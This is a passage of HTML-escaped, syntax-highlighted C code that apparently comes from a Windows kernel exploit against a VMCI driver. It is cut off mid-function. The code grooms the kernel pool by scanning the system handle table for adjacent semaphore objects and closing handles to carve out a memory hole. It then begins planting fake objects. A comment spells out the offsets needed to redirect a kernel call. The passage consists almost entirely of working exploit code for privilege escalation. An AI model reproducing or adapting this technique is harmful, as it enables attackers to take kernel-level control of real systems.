            &lt;span style="color: #400000;"&gt;VirtualFree&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pBuf&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; MEM_RELEASE&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            pBuf &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #400000;"&gt;VirtualAlloc&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; dwNeeded&lt;span style="color: #808030;"&gt;,&lt;/span&gt; MEM_COMMIT&lt;span style="color: #808030;"&gt;,&lt;/span&gt; PAGE_READWRITE&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: purple;"&gt;}&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;else&lt;/span&gt;
        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
            &lt;span style="color: maroon; font-weight: bold;"&gt;break&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        &lt;span style="color: purple;"&gt;}&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    &lt;span style="color: #603000;"&gt;HANDLE&lt;/span&gt; hHandlesToClose&lt;span style="color: #808030;"&gt;[&lt;/span&gt;&lt;span style="color: green;"&gt;0x30&lt;/span&gt;&lt;span style="color: #808030;"&gt;]&lt;/span&gt; &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: purple;"&gt;{&lt;/span&gt;&lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;}&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: #603000;"&gt;DWORD&lt;/span&gt; dwCurPID &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #400000;"&gt;GetCurrentProcessId&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    PSYSTEM_HANDLE_INFORMATION_EX pHandleTable &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;PSYSTEM_HANDLE_INFORMATION_EX&lt;span style="color: #808030;"&gt;)&lt;/span&gt;pBuf&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;for&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;ULONG&lt;/span&gt; i &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt; i &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt; pHandleTable&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;NumberOfHandles&lt;span style="color: purple;"&gt;;&lt;/span&gt; i&lt;span style="color: #808030;"&gt;+&lt;/span&gt;&lt;span style="color: #808030;"&gt;+&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;pHandleTable&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;Handles&lt;span style="color: #808030;"&gt;[&lt;/span&gt;i&lt;span style="color: #808030;"&gt;]&lt;/span&gt;&lt;span style="color: #808030;"&gt;.&lt;/span&gt;UniqueProcessId &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;HANDLE&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;dwCurPID&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
            DWORD_PTR    dwTestObjAddr &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;DWORD_PTR&lt;span style="color: #808030;"&gt;)&lt;/span&gt;pHandleTable&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;Handles&lt;span style="color: #808030;"&gt;[&lt;/span&gt;i&lt;span style="color: #808030;"&gt;]&lt;/span&gt;&lt;span style="color: #808030;"&gt;.&lt;/span&gt;Object&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            DWORD_PTR    dwTestHandleVal &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;DWORD_PTR&lt;span style="color: #808030;"&gt;)&lt;/span&gt;pHandleTable&lt;span style="color: #808030;"&gt;-&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;gt;&lt;/span&gt;Handles&lt;span style="color: #808030;"&gt;[&lt;/span&gt;i&lt;span style="color: #808030;"&gt;]&lt;/span&gt;&lt;span style="color: #808030;"&gt;.&lt;/span&gt;HandleValue&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            DWORD_PTR    dwWindowAddress &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: maroon; font-weight: bold;"&gt;bool&lt;/span&gt;        bPoolWindowFound &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: maroon; font-weight: bold;"&gt;false&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

            &lt;span style="color: #603000;"&gt;UINT&lt;/span&gt; iObjectsNeeded &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: dimgrey;"&gt;// Needed window size is vmci packet pool chunk size (0x218) divided by&lt;/span&gt;
            &lt;span style="color: dimgrey;"&gt;// Semaphore pool chunk size (dwSemaphoreSize)&lt;/span&gt;
            iObjectsNeeded &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: green;"&gt;0x218&lt;/span&gt; &lt;span style="color: #808030;"&gt;/&lt;/span&gt; dwSemaphoreSize&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;+&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: green;"&gt;0x218&lt;/span&gt; &lt;span style="color: #808030;"&gt;%&lt;/span&gt; dwSemaphoreSize &lt;span style="color: #808030;"&gt;!&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: purple;"&gt;?&lt;/span&gt; &lt;span style="color: #008c00;"&gt;1&lt;/span&gt; &lt;span style="color: purple;"&gt;:&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
        
            &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;
                    &lt;span style="color: dimgrey;"&gt;// Not on a page boundary&lt;/span&gt;
                    &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;dwTestObjAddr &lt;span style="color: #808030;"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color: green;"&gt;0xFFF&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;!&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; 
                    &lt;span style="color: #808030;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="color: #808030;"&gt;&amp;amp;&lt;/span&gt; 
                    &lt;span style="color: dimgrey;"&gt;// Doesn't cross page boundary&lt;/span&gt;
                    &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;dwTestObjAddr &lt;span style="color: #808030;"&gt;+&lt;/span&gt; &lt;span style="color: green;"&gt;0x300&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color: green;"&gt;0xF000&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;dwTestObjAddr &lt;span style="color: #808030;"&gt;&amp;amp;&lt;/span&gt; &lt;span style="color: green;"&gt;0xF000&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; 
                &lt;span style="color: #808030;"&gt;)&lt;/span&gt;
            &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                &lt;span style="color: dimgrey;"&gt;// Check previous object for being our semaphore&lt;/span&gt;
                DWORD_PTR dwPrevObject &lt;span style="color: #808030;"&gt;=&lt;/span&gt; dwTestObjAddr &lt;span style="color: #808030;"&gt;-&lt;/span&gt; dwSemaphoreSize&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;LookupObjectHandle&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pHandleTable&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;PVOID&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;dwPrevObject&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
                &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                    &lt;span style="color: maroon; font-weight: bold;"&gt;continue&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                &lt;span style="color: purple;"&gt;}&lt;/span&gt;

                &lt;span style="color: maroon; font-weight: bold;"&gt;for&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon; font-weight: bold;"&gt;unsigned&lt;/span&gt; &lt;span style="color: maroon; font-weight: bold;"&gt;int&lt;/span&gt; j &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;1&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt; j &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt; iObjectsNeeded&lt;span style="color: purple;"&gt;;&lt;/span&gt; j&lt;span style="color: #808030;"&gt;+&lt;/span&gt;&lt;span style="color: #808030;"&gt;+&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
                &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                    DWORD_PTR dwNextTestAddr &lt;span style="color: #808030;"&gt;=&lt;/span&gt; dwTestObjAddr &lt;span style="color: #808030;"&gt;+&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;j &lt;span style="color: #808030;"&gt;*&lt;/span&gt; dwSemaphoreSize&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                    &lt;span style="color: #603000;"&gt;HANDLE&lt;/span&gt; hLookedUp &lt;span style="color: #808030;"&gt;=&lt;/span&gt; LookupObjectHandle&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pHandleTable&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;PVOID&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;dwNextTestAddr&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

                    &lt;span style="color: dimgrey;"&gt;//printf("dwTestObjPtr = %08X, dwTestObjHandle = %08X\n", dwTestObjAddr, dwTestHandleVal);&lt;/span&gt;
                    &lt;span style="color: dimgrey;"&gt;//printf("\tdwTestNeighbour = %08X\n", dwNextTestAddr);&lt;/span&gt;
                    &lt;span style="color: dimgrey;"&gt;//printf("\tLooked up handle = %08X\n", hLookedUp);&lt;/span&gt;

                    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;hLookedUp &lt;span style="color: #808030;"&gt;!&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
                    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                        hHandlesToClose&lt;span style="color: #808030;"&gt;[&lt;/span&gt;j&lt;span style="color: #808030;"&gt;]&lt;/span&gt; &lt;span style="color: #808030;"&gt;=&lt;/span&gt; hLookedUp&lt;span style="color: purple;"&gt;;&lt;/span&gt;

                        &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;j &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; iObjectsNeeded &lt;span style="color: #808030;"&gt;-&lt;/span&gt; &lt;span style="color: #008c00;"&gt;1&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
                        &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                            &lt;span style="color: dimgrey;"&gt;// Now test the following object&lt;/span&gt;
                            dwNextTestAddr &lt;span style="color: #808030;"&gt;=&lt;/span&gt; dwTestObjAddr &lt;span style="color: #808030;"&gt;+&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;j &lt;span style="color: #808030;"&gt;+&lt;/span&gt; &lt;span style="color: #008c00;"&gt;1&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;*&lt;/span&gt; dwSemaphoreSize&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                            &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;LookupObjectHandle&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pHandleTable&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;PVOID&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;dwNextTestAddr&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;!&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
                            &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                                hHandlesToClose&lt;span style="color: #808030;"&gt;[&lt;/span&gt;&lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;]&lt;/span&gt; &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;HANDLE&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;dwTestHandleVal&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                                bPoolWindowFound &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: maroon; font-weight: bold;"&gt;true&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

                                dwWindowAddress &lt;span style="color: #808030;"&gt;=&lt;/span&gt; dwTestObjAddr&lt;span style="color: purple;"&gt;;&lt;/span&gt;

                                &lt;span style="color: dimgrey;"&gt;// Close handles to create a memory window&lt;/span&gt;
                                &lt;span style="color: maroon; font-weight: bold;"&gt;for&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon; font-weight: bold;"&gt;int&lt;/span&gt; k &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt; k &lt;span style="color: #808030;"&gt;&amp;lt;&lt;/span&gt; iObjectsNeeded&lt;span style="color: purple;"&gt;;&lt;/span&gt; k&lt;span style="color: #808030;"&gt;+&lt;/span&gt;&lt;span style="color: #808030;"&gt;+&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
                                &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                                    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;hHandlesToClose&lt;span style="color: #808030;"&gt;[&lt;/span&gt;k&lt;span style="color: #808030;"&gt;]&lt;/span&gt; &lt;span style="color: #808030;"&gt;!&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
                                    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                                        &lt;span style="color: #400000;"&gt;CloseHandle&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;hHandlesToClose&lt;span style="color: #808030;"&gt;[&lt;/span&gt;k&lt;span style="color: #808030;"&gt;]&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                                        CloseTableHandle&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pHandleTable&lt;span style="color: #808030;"&gt;,&lt;/span&gt; hHandlesToClose&lt;span style="color: #808030;"&gt;[&lt;/span&gt;k&lt;span style="color: #808030;"&gt;]&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                                    &lt;span style="color: purple;"&gt;}&lt;/span&gt;
                                &lt;span style="color: purple;"&gt;}&lt;/span&gt;
                            &lt;span style="color: purple;"&gt;}&lt;/span&gt;
                            &lt;span style="color: maroon; font-weight: bold;"&gt;else&lt;/span&gt;
                            &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                                &lt;span style="color: #603000;"&gt;memset&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;hHandlesToClose&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: maroon; font-weight: bold;"&gt;sizeof&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;hHandlesToClose&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                                &lt;span style="color: maroon; font-weight: bold;"&gt;break&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                            &lt;span style="color: purple;"&gt;}&lt;/span&gt;
                        &lt;span style="color: purple;"&gt;}&lt;/span&gt;
                    &lt;span style="color: purple;"&gt;}&lt;/span&gt;
                    &lt;span style="color: maroon; font-weight: bold;"&gt;else&lt;/span&gt;
                    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                        &lt;span style="color: #603000;"&gt;memset&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;hHandlesToClose&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: maroon; font-weight: bold;"&gt;sizeof&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;hHandlesToClose&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                        &lt;span style="color: maroon; font-weight: bold;"&gt;break&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                    &lt;span style="color: purple;"&gt;}&lt;/span&gt;
                &lt;span style="color: purple;"&gt;}&lt;/span&gt;

                &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;bPoolWindowFound&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
                &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                    &lt;span style="color: #603000;"&gt;printf&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\t&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;[+] Window found at &lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;%08X&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;!&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; dwWindowAddress&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                &lt;span style="color: purple;"&gt;}&lt;/span&gt;

            &lt;span style="color: purple;"&gt;}&lt;/span&gt;
        &lt;span style="color: purple;"&gt;}&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: #400000;"&gt;VirtualFree&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pBuf&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; MEM_RELEASE&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
&lt;span style="color: purple;"&gt;}&lt;/span&gt;

&lt;span style="color: maroon; font-weight: bold;"&gt;void&lt;/span&gt; InitFakeBuf&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;PVOID&lt;/span&gt; pBuf&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #603000;"&gt;DWORD&lt;/span&gt; dwSize&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
&lt;span style="color: purple;"&gt;{&lt;/span&gt;
    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;pBuf &lt;span style="color: #808030;"&gt;!&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        RtlFillMemory&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pBuf&lt;span style="color: #808030;"&gt;,&lt;/span&gt; dwSize&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: green;"&gt;0x11&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
&lt;span style="color: purple;"&gt;}&lt;/span&gt;

&lt;span style="color: maroon; font-weight: bold;"&gt;void&lt;/span&gt; PlaceFakeObjects&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;PVOID&lt;/span&gt; pBuf&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #603000;"&gt;DWORD&lt;/span&gt; dwSize&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #603000;"&gt;DWORD&lt;/span&gt; dwStep&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
&lt;span style="color: purple;"&gt;{&lt;/span&gt;
    &lt;span style="color: dimgrey;"&gt;/*&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Previous chunk size will be always 0x43 and the pool index will be 0, so the last bytes will be 0x0043&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;So, for every 0xXXXX0043 address we must suffice the following conditions:&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lea        edx, [eax+38h]&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lock    xadd [edx], ecx&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmp        ecx, 1&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Some sort of lock at [addr + 38] must be equal to 1. And&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;call    dword ptr [eax+0ACh]&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;The call site is located at [addr + 0xAC]&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Also fake the object to be dereferenced at [addr + 0x100]&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*/&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;pBuf &lt;span style="color: #808030;"&gt;!&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
